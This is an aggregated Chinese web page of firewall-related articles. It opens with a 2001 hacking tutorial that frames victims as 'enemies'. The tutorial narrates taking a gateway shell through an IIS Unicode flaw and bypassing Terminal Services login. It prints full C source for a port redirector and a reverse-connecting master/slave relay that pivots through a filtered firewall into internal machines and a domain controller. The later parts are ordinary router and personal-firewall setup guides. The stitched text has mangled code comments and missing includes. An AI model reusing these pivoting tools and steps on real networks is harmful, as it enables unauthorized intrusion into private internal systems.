为您找到与包过滤防火墙的过滤规则相关的共200个结果:
现在很多企业或者公司基本上网方式基本上都是申请一条连接到Internet的线路,宽带、DDN、ADSL、ISDN等等,然后用一台服务器做网关,服务器两块网卡,一块是连接到Internet,另一块是连接到内网的HUB或者交换机,然后内网的其他机器就可以通过网关连接到Internet。
也许有些人会这样想,我在内网之中,我们之间没有直接的连接,你没有办法攻击我。事实并非如此,在内网的机器同样可能遭受到来自Internet的攻击,当然前提是攻击者已经取得网关服务器的某些权限,呵呵,这是不是废话?其实,Internet上很多做网关的服务器并未经过严格的安全配置,要获取权限也不是想象中的那么难。
Ok!废话就不说了,切入正题。我们的目标是用我们的TermClient[M$终端服务客户端]连接到敌人内网的TermServer机器。M$的终端服务是一个很好的远程管理工具,不是吗?呵呵。没有做特别说明的话,文中提到的服务器OS都为windows 2000。服务器为Linux或其他的话,原理也差不多,把程序稍微修改就行了。
第一部分:利用TCP socket数据转发进入没有防火墙保护的内网
假设敌人网络拓扑如下图所示,没有安装防火墙或在网关服务器上做TCP/IP限制。
我们的目标是连接上敌人内网的Terminal
Server[192.168.1.3],因为没有办法直接和他建立连接,那么只有先从它的网关服务器上下手了。假如敌人网关服务器是M$的windows 2k,IIS有Unicode漏洞[现在要找些有漏洞的机器太容易了,但我只是scripts kid,只会利用现成的漏洞做些简单的攻击:(555),那么我们就得到一个网关的shell了,我们可以在那上面运行我们的程序,虽然权限很低,但也可以做很多事情了。Ok!让我们来写一个做TCP socket数据转发的小程序,让敌人的网关服务器忠实的为我[202.1.1.1]和敌人内网的TermServer[192.168.1.3]之间转发数据。题外话:实际入侵过程是先取得网关服务器的权限,然后用他做跳板,进一步摸清它的内部网络拓扑结构,再做进一步的入侵,现在敌人的网络拓扑是我们给他设计的,哈哈。
攻击流程如下:
<1>在网关服务器202.2.2.2运行我们的程序AgentGateWay,他监听TCP 3389端口[改成别的,那我们就要相应的修改TermClient了]等待我们去连接。
<2>我们202.1.1.1用TermClient连接到202.2.2.2:3389。
<3>202.2.2.2.接受202.1.1.1的连接,然后再建立一个TCP socket连接到自己内网的TermServer[192.168.1.3]
<4>这样我们和敌人内网的TermServer之间的数据通道就建好了,接下来网关就忠实的为我们转发数据啦。当我们连接到202.2.2.2:3389的时候,其实出来的界面是敌人内网的192.168.1.3,感觉怎么样?:)
程序代码如下:
/**********************************************************************
Module Name:AgentGateWay.c
Date:2001/4/15
CopyRight(c) eyas
说明:端口重定向工具,在网关上运行,把端口重定向到内网的IP、PORT,
就可以进入内网了
sock[0]==>sClient sock[1]==>sTarget
**********************************************************************/
#include
#include
#include "TCPDataRedird.c"
#define TargetIP TEXT("192.168.1.3")
#define TargetPort (int)3389
#define ListenPort (int)3389https://监听端口
#pragma comment(lib,"ws2_32.lib")
int main()
{
WSADATA wsd;
SOCKET sListen=INVALID_SOCKET,https://本机监听的socket
sock[2];
struct sockaddr_in Local,Client,Target;
int iAddrSize;
HANDLE hThreadC2T=NULL,https://C2T=ClientToTarget
hThreadT2C=NULL;https://T2C=TargetToClient
DWORD dwThreadID;
__try
{
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
{
printf("WSAStartup() failed:%d",GetLastError());
__leave;
}
sListen=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sListen==INVALID_SOCKET)
{
printf("socket() failed:%d",GetLastError());
__leave;
}
Local.sin_addr.s_addr=htonl(INADDR_ANY);
Local.sin_family=AF_INET;
Local.sin_port=htons(ListenPort);
Target.sin_family=AF_INET;
Target.sin_addr.s_addr=inet_addr(TargetIP);
Target.sin_port=htons(TargetPort);
if(bind(sListen,(struct sockaddr
*)&Local,sizeof(Local))==SOCKET_ERROR)
{
printf("bind() failed:%d",GetLastError());
__leave;
}
if(listen(sListen,1)==SOCKET_ERROR)
{
printf("listen() failed:%d",GetLastError());
__leave;
}
https://scoket循环
while(1)
{
printf("*************Waiting Client Connect
to**************");
iAddrSize=sizeof(Client);
https://get socket sClient
sock[0]=accept(sListen,(struct sockaddr *)&Client,&iAddrSize);
if(sock[0]==INVALID_SOCKET)
{
printf("accept() failed:%d",GetLastError());
break;
}
printf("Accept client==>%s:%d",inet_ntoa(Client.sin_addr),
ntohs(Client.sin_port));
https://create socket sTarget
sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sock[1]==INVALID_SOCKET)
{
printf("socket() failed:%d",GetLastError());
__leave;
}
https://connect to target port
if(connect(sock[1],(struct sockaddr
*)&Target,sizeof(Target))==SOCKET_ERROR)
{
printf("connect() failed:%d",GetLastError());
__leave;
}
printf("connect to target 3389 success!");
https://创建两个线程进行数据转发
hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);
hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);
https://等待两个线程结束
WaitForSingleObject(hThreadC2T,INFINITE);
WaitForSingleObject(hThreadT2C,INFINITE);
CloseHandle(hThreadC2T);
CloseHandle(hThreadT2C);
closesocket(sock[1]);
closesocket(sock[0]);
printf("*****************Connection
Close*******************");
}https://end of sock外循环
}https://end of try
__finally
{
if(sListen!=INVALID_SOCKET) closesocket(sListen);
if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);
if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);
if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);
if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);
WSACleanup();
}
return 0;
}
/*************************************************************************
Module:TCPDataRedird.c
Date:2001/4/16
CopyRight(c) eyas
HomePage:www.patching.net
Thanks to shotgun
说明:TCP socket数据转发,sock[0]==>sClient sock[1]==>sTarget
*************************************************************************/
#define BuffSize 20*1024 https://缓冲区大小20k
https://此函数负责从Client读取数据,然后转发给Target
DWORD WINAPI TCPDataC2T(SOCKET* sock)
{
int iRet,
ret=-1,https://select 返回值
iLeft,
idx,
iSTTBCS=0;https://STTBCS=SendToTargetBuffCurrentSize
char szSendToTargetBuff[BuffSize]=,
szRecvFromClientBuff[BuffSize]=;
fd_set fdread,fdwrite;
printf("*****************Connection
Active*******************");
while(1)
{
FD_ZERO(&fdread);
FD_ZERO(&fdwrite);
FD_SET(sock[0],&fdread);
FD_SET(sock[1],&fdwrite);
if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)
{
printf("select() failed:%d",GetLastError());
break;
}
https://printf("select() return value ret=%d",ret);
if(ret>0)
{
https://sClinet可读,client有数据要发送过来
if(FD_ISSET(sock[0],&fdread))
{
https://接收sock[0]发送来的数据
iRet=recv(sock[0],szRecvFromClientBuff,BuffSize,0);
if(iRet==SOCKET_ERROR)
{
printf("recv() from sock[0] failed:%d",GetLastError());
break;
}
else if(iRet==0)
break;
printf("recv %d bytes from sClinet.",iRet);
https://把从client接收到的数据存添加到发往target的缓冲区
memcpy(szSendToTargetBuff+iSTTBCS,szRecvFromClientBuff,iRet);
https://刷新发往target的数据缓冲区当前buff大小
iSTTBCS+=iRet;
https://清空接收client数据的缓冲区
memset(szRecvFromClientBuff,0,BuffSize);
}
https://sTarget可写,把从client接收到的数据发送到target
if(FD_ISSET(sock[1],&fdwrite))
{
https://转发数据到target的3389端口
iLeft=iSTTBCS;
idx=0;
while(iLeft>0)
{
iRet=send(sock[1],&szSendToTargetBuff[idx],iLeft,0);
if(iRet==SOCKET_ERROR)
{
printf("send() to target failed:%d",GetLastError());
break;
}
printf("send %d bytes to target",iRet);
iLeft-=iRet;
idx+=iRet;
}
https://清空缓冲区
memset(szSendToTargetBuff,0,BuffSize);
https://重置发往target的数据缓冲区当前buff大小
iSTTBCS=0;
}
}https://end of select ret
Sleep(1);
}https://end of data send & recv循环
return 0;
}
https://此函数负责从target读取数据,然后发送给client
DWORD WINAPI TCPDataT2C(SOCKET* sock)
{
int iRet,
ret=-1,https://select 返回值
iLeft,
idx,
iSTCBCS=0;https://STCBCS=SendToClientBuffCurrentSize
char szRecvFromTargetBuff[BuffSize]=,
szSendToClientBuff[BuffSize]=;
fd_set fdread,fdwrite;
while(1)
{
FD_ZERO(&fdread);
FD_ZERO(&fdwrite);
FD_SET(sock[0],&fdwrite);
FD_SET(sock[1],&fdread);
if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)
{
printf("select() failed:%d",GetLastError());
break;
}
if(ret>0)
{
https://sTarget可读,从target接收数据
if(FD_ISSET(sock[1],&fdread))
{
https://接收target返回数据
iRet=recv(sock[1],szRecvFromTargetBuff,BuffSize,0);
if(iRet==SOCKET_ERROR)
{
printf("recv() from target failed:%d",GetLastError());
break;
}
else if(iRet==0)
break;
printf("recv %d bytes from target",iRet);
https://把从target接收到的数据添加到发送到client的缓冲区
memcpy(szSendToClientBuff+iSTCBCS,szRecvFromTargetBuff,iRet);
https://清空接收target返回数据缓冲区
memset(szRecvFromTargetBuff,0,BuffSize);
https://刷新发送到client的数据缓冲区当前大小
iSTCBCS+=iRet;
}
https://client可写,发送target返回数据到client
if(FD_ISSET(sock[0],&fdwrite))
{
https://发送target返回数据到client
iLeft=iSTCBCS;
idx=0;
while(iLeft>0)
{
iRet=send(sock[0],&szSendToClientBuff[idx],iLeft,0);
if(iRet==SOCKET_ERROR)
{
printf("send() to Client failed:%d",GetLastError());
break;
}
printf("send %d bytes to Client",iRet);
iLeft-=iRet;
idx+=iRet;
}
https://清空缓冲区
memset(szSendToClientBuff,0,BuffSize);
iSTCBCS=0;
}
}https://end of select ret
Sleep(1);
}https://end of while
return 0;
}
利用TCP socket转发和反弹TCP端口进入有防火墙保护的内网
事实上很多内网没有第一部分所说的那么简单啦,我们来看一个有防火墙保护的内网,前提是这个防火墙对反弹TCP端口不做限制,限制了的话,又另当别论了。假设网络拓扑如下:
上面的网络拓扑是我在一次对朋友公司网站授权入侵过程中遇到的。
〈1〉我自己处于公司内网192.168.0.2,通过公司网关202.1.1.1到Internet,但我是网关的admin:)。
〈2〉敌人[其实是friend啦]的网关OS是2k adv
server,在外网网卡上做了TCP/IP限制,只开放了25,53,80,110,3306这几个TCP PORT,通过一个漏洞,我得到了一个shell,可以通过IE来执行系统命令,虽然权限很低。网关有终端服务,登陆验证漏洞补丁未安装,但输入法帮助文件已经被删除了,但是我们可以通过shell把输入法帮助文件upload上去,因为他的系统权限没有设置好,我们可以写,呵呵。这样的话,我们只要能够连接到他的终端服务上去,我们就能绕过登陆验证,得到admin权限了。如何连接?有办法,用TCP socket转发。和第一部分说的一样吗?有些不同。因为他做了TCP/IP限制,我们不能连接他,只能让他来连接我们了,TCP反弹端口,呵呵。
攻击流程如下:
〈1〉在我的服务器202.1.1.1运行AgentMaster,监听TCP PORT 12345,等待202.2.2.2来连接,监听TCP PORT 3389,等待我192.168.0.2连接。
〈2〉在敌人网关机器202.2.2.2运行AgentSlave,连接到202.1.1.1 TCP PORT 12345[注意:是反弹端口,TCP/IP过滤也拿他没办法]
〈3〉我自己192.168.0.2用TermClient连接到自己的服务器202.1.1.1:3389
〈4〉敌人网关上的AgentSlave连接到自己本身在内网的IP==〉192.168.1.1:3389
〈5〉数据通道就建立好啦。两个代理忠实的为我们转发数据,呵呵。当我们连接自己服务器的3389,其实出来的是敌人内网的某台机器,呵呵。
后来发现敌人的主域控制器是192.168.1.4,通过前面与他网关建立的连接,利用一个漏洞轻易的取得主域的admin权限,呵呵。他可能认为主域在内网,网关又做了TCP/IP过滤,攻击者没有办法进入。我只要把AgentSlave设置为连接192.168.1.4:3389,以后就可以直接连接他的主域控制器啦,不过在网关登陆也一样。
程序代码如下[程序中所用到的TCPDataRedird.c已经贴在第一部分,那个文件做数据转发,通用的:
/******************************************************************************
Module Name:AgentMaster.c
Date:2001/4/16
CopyRight(c) eyas
说明:scoket代理主控端,负责监听两个TCP socket,等待攻击者和AgentSlave来连接,两个
scoket都连接成功后,开始转发数据
sock[0]是client==〉sock[0] sock[1]是target==〉sock[1]
******************************************************************************/
#include 〈stdio.h〉
#include 〈winsock2.h〉
#include "TCPDataRedird.c"
#pragma comment(lib,"ws2_32.lib")
#define TargetPort 3389https://伪装的target的监听端口
#define LocalPort 12345https://等待AgentSlave来connect的端口
int main()
{
WSADATA wsd;
SOCKET s3389=INVALID_SOCKET,https://本机监听的socket,等待攻击者连接
s1981=INVALID_SOCKET,https://监听的socket,等待AgentSlave来连接
sock[2]=;
struct sockaddr_in Local3389,Local1981,Attack,Slave;
int iAddrSize;
HANDLE hThreadC2T=NULL,https://C2T=ClientToTarget
hThreadT2C=NULL;https://T2C=TargetToClient
DWORD dwThreadID;
__try
{
https://load winsock library
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
{
printf("WSAStartup() failed:%d",GetLastError());
__leave;
}
https://create socket
s3389=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(s3389==INVALID_SOCKET)
{
printf("socket() failed:%d",GetLastError());
__leave;
}
https://create socket
s1981=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(s1981==INVALID_SOCKET)
{
printf("socket() failed:%d",GetLastError());
__leave;
}
https://fill the struct
Local3389.sin_addr.s_addr=htonl(INADDR_ANY);
Local3389.sin_family=AF_INET;
Local3389.sin_port=htons(TargetPort);
Local1981.sin_addr.s_addr=htonl(INADDR_ANY);
Local1981.sin_family=AF_INET;
Local1981.sin_port=htons(LocalPort);
https://bind s3389 for attacker
if(bind(s3389,(struct sockaddr
*)&Local3389,sizeof(Local3389))==SOCKET_ERROR)
{
printf("bind() failed:%d",GetLastError());
__leave;
}
https://listen for attacker to connect
if(listen(s3389,1)==SOCKET_ERROR)
{
printf("listen() failed:%d",GetLastError());
__leave;
}
https://bind s1981 for AgentSlave
if(bind(s1981,(struct sockaddr
*)&Local1981,sizeof(Local1981))==SOCKET_ERROR)
{
printf("bind() failed:%d",GetLastError());
__leave;
}
https://listen for AgentSlave to connect
if(listen(s1981,1)==SOCKET_ERROR)
{
printf("listen() failed:%d",GetLastError());
__leave;
}
https://socket循环
while(1)
{
https://wait for AgentSlave to connect
iAddrSize=sizeof(Slave);
sock[1]=accept(s1981,(struct sockaddr *)&Slave,&iAddrSize);
if(sock[1]==INVALID_SOCKET)
{
printf("accept() failed:%d",GetLastError());
break;
}
printf("Accept AgentSlave==〉%s:%d",inet_ntoa(Slave.sin_addr),
ntohs(Slave.sin_port));
https://wait for Attacker to connect
iAddrSize=sizeof(Attack);
sock[0]=accept(s3389,(struct sockaddr *)&Attack,&iAddrSize);
if(sock[0]==INVALID_SOCKET)
{
printf("accept() failed:%d",GetLastError());
break;
}
printf("Accept Attacker==〉%s:%d",inet_ntoa(Attack.sin_addr),
ntohs(Attack.sin_port));
https://创建两个线程进行数据转发
hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);
hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);
https://等待两个线程结束
WaitForSingleObject(hThreadC2T,INFINITE);
CloseHandle(hThreadC2T);
CloseHandle(hThreadT2C);
closesocket(sock[0]);
closesocket(sock[1]);
}https://end of socket while
}https://end of try
__finally
{
https://clean all
if(s3389!=INVALID_SOCKET) closesocket(s3389);
if(s1981!=INVALID_SOCKET) closesocket(s1981);
if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);
if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);
if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);
if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);
WSACleanup();
}
return 0;
}
/***********************************************************************************
Module:AgentSlave.c
Date:2001/4/17
Copyright(c)eyas
HomePage:www.patching.net
说明:这个程序负责连接最终目标,连接主控端,然后转发数据
这里连接到AgenrMaster的socket相当与sClient==〉sock[0],
连接到最终目标的socoket是sTarget==〉sock[1]
***********************************************************************************/
#include 〈stdio.h〉
#include 〈winsock2.h〉
#include "TCPDataRedird.c"
#pragma comment(lib,"ws2_32.lib")
#define TargetIP "192.168.1.3"
#define TargetPort (int)3389
#define AgentMasterIP "202.1.1.1"
#define AgentMasterPort (int)12345
int main()
{
WSADATA wsd;
SOCKET sock[2]=;
struct sockaddr_in Master,Target;
HANDLE hThreadC2T=NULL,https://C2T=ClientToTarget
hThreadT2C=NULL;https://T2C=TargetToClient
DWORD dwThreadID;
__try
{
https://load winsock library
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
{
printf("WSAStartup() failed:%d",GetLastError());
__leave;
}
https://循环
while(1)
{
https://create client socket
sock[0]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sock[0]==INVALID_SOCKET)
{
printf("socket() failed:%d",GetLastError());
__leave;
}
https://create target socket
sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sock[1]==INVALID_SOCKET)
{
printf("socket() failed:%d",GetLastError());
__leave;
}
https://fill struct
Target.sin_family=AF_INET;
Target.sin_addr.s_addr=inet_addr(TargetIP);
Target.sin_port=htons(TargetPort);
Master.sin_family=AF_INET;
Master.sin_addr.s_addr=inet_addr(AgentMasterIP);
Master.sin_port=htons(AgentMasterPort);
https://connect to AgentMaster
if(connect(sock[0],(struct sockaddr
*)&Master,sizeof(Master))==SOCKET_ERROR)
{
https://连接失败后,等待一会儿再连
printf("connect() to master failed:%d",GetLastError());
closesocket(sock[0]);
closesocket(sock[1]);
Sleep(5000);
continue;
}
printf("connect to %s %d success!",AgentMasterIP,AgentMasterPort);
https://connect to target
if(connect(sock[1],(struct sockaddr
*)&Target,sizeof(Target))==SOCKET_ERROR)
{
printf("connect() to target failed:%d",GetLastError());
__leave;
}
printf("connect to %s %d success!",TargetIP,TargetPort);
https://创建两个线程进行数据转发
hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);
hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);
https://等待两个线程结束
WaitForSingleObject(hThreadC2T,INFINITE);
CloseHandle(hThreadC2T);
CloseHandle(hThreadT2C);
closesocket(sock[0]);
closesocket(sock[1]);
}https://end of while
}https://end of try
__finally
{
if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);
if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);
if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);
if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);
WSACleanup();
}
return 0;
}
浏览量:2
下载量:0
时间:
当我们在使用tp-link路由器时,有的用户对tp-link路由器设置一点不懂,这次读文网小编就来为用户们推荐下防火墙设置中的IP地址过滤的方法,希望对您有所帮助!
首先必须找到需要过滤哪些IP地址,我们通过下面的方法得到需要过滤的登陆服务器的IP地址。
小编就用QQ来举例吧。当QQ登陆成功后,进入QQ设置。
点击“网络连接”,查看“登录服务器”,这里显示的IP地址就是我们要过滤的IP地址。
然后我们就开始设置IP地址过滤。
注意这里选择的缺省过滤规则是。凡是不符合已设IP地址过滤规则的数据包,允许通过本路由器。
由于QQ登陆时可能会重定向IP地址,所以我们在找到一个登陆IP地址后,最好就直接将这个IP地址段过滤掉。
设置完成后,再次尝试登陆QQ,通过上面的方式继续寻找能登陆的服务器的IP地址,将可登陆IP所在的地址段继续添加进来过滤掉,循环这个过程直到QQ不能登陆为止。
这里我们过滤了下面这些IP地址段后,QQ就不能登录了。
通过上面设置域名过滤和IP地址过滤后,QQ登陆就能被限制了。但是应注意到,在设置IP地址过滤的时候,我们过滤的是IP地址段,因此会把一些正常的不是QQ服务器的IP地址也过滤掉了。如果发生了“需要连接的目的IP地址也被过滤”这种情况,可以简单的把我们上面限制的地址段拆分成多个段,不包括我们需要访问的IP地址就可以了。
TP-LINK路由器防火墙设置中IP地址过滤的方法的相关
浏览量:0
下载量:0
时间:
现在使用路由器的人越来越多,网络的安全问题也越来越让人注意,那么你知道怎么设置路由器防火墙IP地址过滤吗?下面是读文网小编整理的一些关于设置路由器防火墙IP地址过滤的相关资料,供你参考。
IP地址过滤用于通过IP地址设置内网主机对外网的访问权限,适用于这样的需求:在某个时间段,禁止/允许内网某个IP(段)所有或部分端口和外网IP的所有或部分端口的通信。
开启IP地址过滤功能时,必须要开启防火墙总开关,并明确IP地址过滤的缺省过滤规则(设置过程中若有不明确处,可点击当前页面的“帮助”按钮查看帮助信息):
下面将通过两个例子说明IP地址过滤的使用。
例一:
预期目的:不允许内网192.168.1.100-192.168.1.102的IP地址访问外网所有IP地址;允许192.168.1.103完全不受限制的访问外网的所有IP地址。设置方法如下:
1. 选择缺省过滤规则为:凡是不符合已设IP地址过滤规则的数据包,禁止通过本路由器:
2. 添加IP地址过滤新条目:
允许内网192.168.1.103完全不受限制的访问外网的所有IP地址
因默认规则为“禁止不符合IP过滤规则的数据包通过路由器”,所以内网电脑IP地址段:192.168.1.100-192.168.1.102不需要进行添加,默认禁止其通过。
3. 保存后生成如下条目,即能达到预期目的:
例二:
预期目的:内网192.168.1.100-192.168.1.102的IP地址在任何时候都只能浏览外网网页;192.168.1.103从上午8点到下午6点只允在外网219.134.132.62邮件服务器上收发邮件,其余时间不能和对外网通信。
浏览网页需使用到80端口(HTTP协议),收发电子邮件使用25(SMTP)与110(POP),同时域名服务器端口号53(DNS)
设置方法如下:
1. 选择缺省过滤规则为:凡是不符合已设IP地址过滤规则的数据包,禁止通过本路由器:
2. 设置生成如下条目后即能达到预期目的:
看过文章“怎么设置路由器防火墙IP地址过滤”
浏览量:2
下载量:0
时间:
现在使用路由器的人越来越多,网络的安全问题也越来越让人注意,那么你知道怎么设置路由器防火墙mac地址过滤吗?下面是读文网小编整理的一些关于设置路由器防火墙mac地址过滤的相关资料,供你参考。
MAC地址过滤用于通过MAC地址来设置内网主机对外网的访问权限,适用于这样的需求:禁止/允许内网某个MAC地址和外网的通信。
开启MAC地址过滤功能时,必须要开启防火墙总开关,并明确MAC地址过滤的缺省过滤规则(设置过程中若有不明确处,可点击当前页面的“帮助”按钮查看帮助信息):
下面通过一个例子说明MAC地址过滤的使用。
例:只允许MAC地址为“00-19-66-80-53-52”的计算机访问外网,禁止其他计算机访问外网,设置方法如下:
1、选择缺省过滤规则为:仅允许已设MAC地址列表中已启用的MAC地址访问Internet
2、添加MAC地址过滤新条目:
添加MAC地址:00-19-66-80-53-52,状态选择“生效”
3、保存后生成如下条目:
设置完成之后,只有局域网中MAC地址为“00-19-66-80-53-52”的计算机可以访问外网,达到预期目的。
路由器防火墙的相关
浏览量:2
下载量:0
时间:
现在使用路由器的人越来越多,网络的安全问题也越来越让人注意,那么你知道怎么设置路由器防火墙域名过滤吗?下面是读文网小编整理的一些关于设置路由器防火墙域名过滤的相关资料,供你参考。
域名过滤用于限制局域网内的计算机对某些网站的访问,适用于这样的需求:在某个时间段,限制对外网某些网站的访问或限制某些需要域名解析成功后才能和外网通信的应用程序的使用。
开启域名过滤功能时,必须要开启防火墙总开关(设置过程中若有不明确处,可点击当前页面的“帮助”按钮查看帮助信息):
下面通过例子说明域名过滤的使用。
预期目的:任何时间都禁止访问网站www.caraphbl.com、只在上午8点到下午4点禁止访问域名中带有字符串“.cn”的网站,其余时间允许访问。设置方法如下:
1.添加域名过滤新条目:
任何时间都禁止访问网站www.caraphbl.com
上午8点到下午4点禁止访问域名中带有字符串“.cn”的网站
2.保存后生成如下条目,即能达到预期目的:
注:
1.域名过滤状态栏显示“失效”以及“生效”,只有状态条目为“生效”时,相应的过滤条目才生效
2.在路由器上设置好过滤规则后,在电脑上需要删除浏览器的临时文件:打开IE浏览器->点击“选项”->选择“Internet选项”->在“常规”选项卡中点击“删除文件”。
域名过滤不生效的可能原因:
1.检查路由器防火墙总开关以及域名过滤是否开启,域名过滤中所设置条目是否生效
2.所要过滤的域名是否为所访问域名的子集:如域名过滤设置过滤“163.com”, 那么诸如“news.163.com”、“mail.163.com”是无法访问的,但若设置为过滤“www.163.com”,那么仅有“www.163.com”以及“www.163.com/*”无法访问,而诸如“news.163.com”、“mail.163.com”是可以正常访问的。
3.本地DNS缓存原因,使用URL访问网络过程:
1)在浏览器中输入域名之后,系统将该域名提交给DNS服务器解析,然后使用解析得到的IP地址访问目的站点
2)若本地DNS缓存中已存在该域名解析得到的IP,则无需再次交由DNS服务器解析,本机直接使用缓存中已解析到的IP访问目的站点
所以即使上述1、2步骤设置无误,但因本地DNS缓存原因,仍然可以正常访问已经过滤的站点,此种情况清空本地DNS缓存即可
方法:修复本地连接或者在命令提示符中使用“ipconfig /flushdns”命令清空
看过文章“怎么设置路由器防火墙域名过滤”
浏览量:2
下载量:0
时间:
360防火墙规则你了解吗?怎么样设置的你又知道吗?小编来告诉你!下面由读文网小编给你做出详细的360防火墙规则设置方法介绍!希望对你有帮助!
360防火墙规则设置一、什么是规则
规则是一系列的比较条件和一个对数据包的动作,就是根据数据包的每一个部分来与设置的条件比较。当符合条件时,就可以确定对该包放行或者阻挡。通过合理的设置规则就可以把有害的数据包挡在你的机器之外。
360防火墙规则设置二、规则设置
现在来设置几个自己的规则吧。虽然《天网》已经设置好了一些不错的规则,可是每个人有每个人的情况,要根据自己的情况来制定自己的规则。下面是设置一个防止别人用木马冰河来控制自己的规则。先把规则名称和说明填好,免得以后不知道这条规则是干什么用的。在数据包方向就设置成“发送”,木马都是从内到外的,对方的IP地址就设置成“任何地址”,不论是谁想用冰河来整人都没办法了。冰河使用的协议是UDP,端口是7626,所以就选择UDP协议。本机端口的7626,满足上述的条件的时候就拦截,同时记录在日志里,并且会警告一声。好了,现在冰河至少是没办法了。
我的机器上装了SQL Server,怕别人从互联网上入侵,我也得保护它,来设置一条“禁止其他人从互联网连接我的SQL Server”的规则吧。数据包方向设置成“接收”,对方的地址设置为“任何地址”,协议类型是TCP,本机端口是1433,满足这个条件的时候就拦截,同时记录。可是这样一来,和我在同一个局域网内的其他本来允许连接的人就连接不上了,得为他们设一条允许通行的规则才行。数据包方向设置为“接收”,对方的地址设置为“局域网的网络地址”,协议类型和本机端口同上,满足这个条件的时候通行。有了这两条记录我就可以控制谁可以连接我的SQL Server。要注意的是这两条规则的顺序一定要放对,不然就达不到你的预期想法了。
看了“360防火墙规则怎么样设置”文章的还看了:
浏览量:2
下载量:0
时间:
comodo防火墙的设置规则是怎么样的呢?你明白吗?面由读文网小编给你做出详细的comodo设置规则介绍!希望对你有帮助!
小白不建议用Comodo。Comodo是很强大,但那是高手的玩物。Comodo的强大之处在于它的自定义规则,D+防御会时时刻刻弹窗,如果你看不懂弹窗的内容,还是不建议使用。
如果您想鼓捣的话,Comodo是不二之选。如果您想智能化,您可以使用微点主动防御软件+瑞星个人防火墙取代Comodo。
微点主动防御,多步拦截,智能化那是没得说的,适合各类人群使用。有90天免费试用期,90天后需要付费。
瑞星个人防火墙,同样智能规则,一般情况下不会弹窗,适合小白使用。
comodo防火墙设置规则三:
其实comodo的规则并不单一是对comodo本身的了解,还有对你要限制的应用程序的了解。你编辑一个应用程序规则不晓得该限制它的哪方面哪一方面又该开放,那comodo再强也没法帮你。
(因为到5的时候,comodo才表现的有点智能。)平时把防火墙开到自定义并选中创建安全程序规则,Defense+开到安全模式(如果需要也可以选中创建安全程序规则)。然后就是对访问权限子项的熟悉和设置了。还可以配合组策略设置。
浏览量:2
下载量:0
时间:
linux防火墙的设置规则你懂吗?跟着小编去看看吧!下面由读文网小编给你做出详细的linux防火墙设置规则介绍!希望对你有帮助!
Linux 操作系统的诞生
创始人林纳斯·托瓦兹
、发展和成长过程始终依赖着五个重要支柱:UNIX 操作系统、MINIX 操作系统、GNU计划、POSIX 标准和Internet 网络。
1981 年IBM公司推出微型计算机IBM PC。
1991年,GNU计划已经开发出了许多工具软件,最受期盼的GNU C编译器已经出现,GNU的操作系统核心HURD一直处于实验阶段,没有任何可用性,实质上也没能开发出完整的GNU操作系统,但是GNU奠定了Linux用户基础和开发环境。
1991年初,林纳斯·托瓦兹开始在一台386sx兼容微机上学习minix操作系统。1991年4月,林纳斯·托瓦兹开始酝酿并着手编制自己的操作系统。
1991 年4 月13 日在comp.os.minix 上发布说自己已经成功地将bash 移植到了minix 上,而且已经爱不释手、不能离开这个shell 软件了。
1991年7月3日,第一个与Linux有关的消息是在comp.os.minix上发布的(当然此时还不存在Linux这个名称,当时林纳斯·托瓦兹的脑子里想的可能是FREAX,FREAX的英文含义是怪诞的、怪物、异想天开等)。
1991年的10月5日,林纳斯·托瓦兹在comp.os.minix新闻组上发布消息,正式向外宣布Linux内核的诞生(Freeminix-like kernel sources for 386-AT)。
1993年,大约有100余名程序员参与了Linux内核代码编写/修改工作,其中核心组由5人组成,此时Linux 0.99的代码大约有十万行,用户大约有10万左右。
1994年3月,Linux1.0发布,代码量17万行,当时是按照完全自由免费的协议发布,随后正式采用GPL协议。
1995年1月,Bob Young创办了RedHat(小红帽),以GNU/Linux为核心,集成了400多个源代码开放的程序模块,搞出了一种冠以品牌的Linux,即RedHat Linux,称为Linux"发行版",在市场上出售。这在经营模式上是一种创举。
1996年6月,Linux 2.0内核发布,此内核有大约40万行代码,并可以支持多个处理器。此时的Linux 已经进入了实用阶段,全球大约有350万人使用。
1998年2月,以Eric Raymond为首的一批年轻的"老牛羚骨干分子"终于认识到GNU/Linux体系的产业化道路的本质,并非是什么自由哲学,而是市场竞争的驱动,创办了"Open Source Intiative"(开放源代码促进会)"复兴"的大旗,在互联网世界里展开了一场历史性的Linux产业化运动。
2001年1月,Linux 2.4发布,它进一步地提升了SMP系统的扩展性,同时它也集成了很多用于支持桌面系统的特性:USB,PC卡(PCMCIA)的支持,内置的即插即用,等等功能。
2003年12月,Linux 2.6版内核发布,相对于2.4版内核2.6在对系统的支持都有很大的变化。
